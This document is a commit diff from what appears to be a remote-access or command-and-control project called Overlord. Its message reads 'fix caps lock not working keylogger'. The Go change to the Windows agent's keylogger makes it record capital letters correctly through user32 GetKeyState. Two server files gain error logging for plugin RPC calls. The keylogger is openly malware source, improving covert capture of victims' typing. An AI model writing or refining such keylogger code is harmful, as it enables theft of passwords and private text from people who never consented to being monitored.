better logging for plugins + fix caps lock not working keylogger

Overlord-Client/cmd/agent/keylogger/keylogger_windows.go

@@ -16,6 +16,7 @@ import (
 var (
 	user32                  = syscall.NewLazyDLL("user32.dll")
 	procGetAsyncKeyState    = user32.NewProc("GetAsyncKeyState")
+	procGetKeyState         = user32.NewProc("GetKeyState")
 	procGetKeyboardState    = user32.NewProc("GetKeyboardState")
 	procToUnicode           = user32.NewProc("ToUnicode")
 	procMapVirtualKey       = user32.NewProc("MapVirtualKeyW")
@@ -118,6 +119,13 @@ func getKeyString(vk int) string {
 		kbState[VK_MENU] &^= 0x80
 	}
 
+	capsOn := (getKeyState(VK_CAPITAL) & 0x0001) != 0
+	if capsOn {
+		kbState[VK_CAPITAL] |= 0x01
+	} else {
+		kbState[VK_CAPITAL] &^= 0x01
+	}
+
 	if ctrlDown || altDown {
 		base := keyNameForCombo(vk)
 		if base != "" {
@@ -221,6 +229,11 @@ func getAsyncKeyState(vk int) uint16 {
 	return uint16(ret)
 }
 
+func getKeyState(vk int) uint16 {
+	ret, _, _ := procGetKeyState.Call(uintptr(vk))
+	return uint16(ret)
+}
+
 func keyNameForCombo(vk int) string {
 	// Letters
 	if vk >= 0x41 && vk <= 0x5A {

Overlord-Server/src/server/plugin-runtime/worker-host.ts

@@ -111,6 +111,8 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
       send({ type: "rpc_reply", id: msg.id, ok: true, result: result ?? null });
     } catch (err) {
       const error = err instanceof Error ? err.message : String(err);
+      const stack = err instanceof Error ? err.stack || "" : "";
+      console.error(`[plugin-worker] RPC ${msg.method} error: ${error}`, stack);
       send({ type: "rpc_reply", id: msg.id, ok: false, error });
     }
     return;

Overlord-Server/src/server/routes/plugin-routes.ts

@@ -953,6 +953,7 @@ export async function handlePluginRoutes(
       metrics.recordCommand("plugin_rpc");
       return Response.json({ ok: true, result });
     } catch (err) {
+      console.error(`[plugin:${pluginId}] RPC ${method} error:`, (err as Error).message, (err as Error).stack || "");
       return Response.json({ ok: false, error: (err as Error).message }, { status: 500 });
     }
   }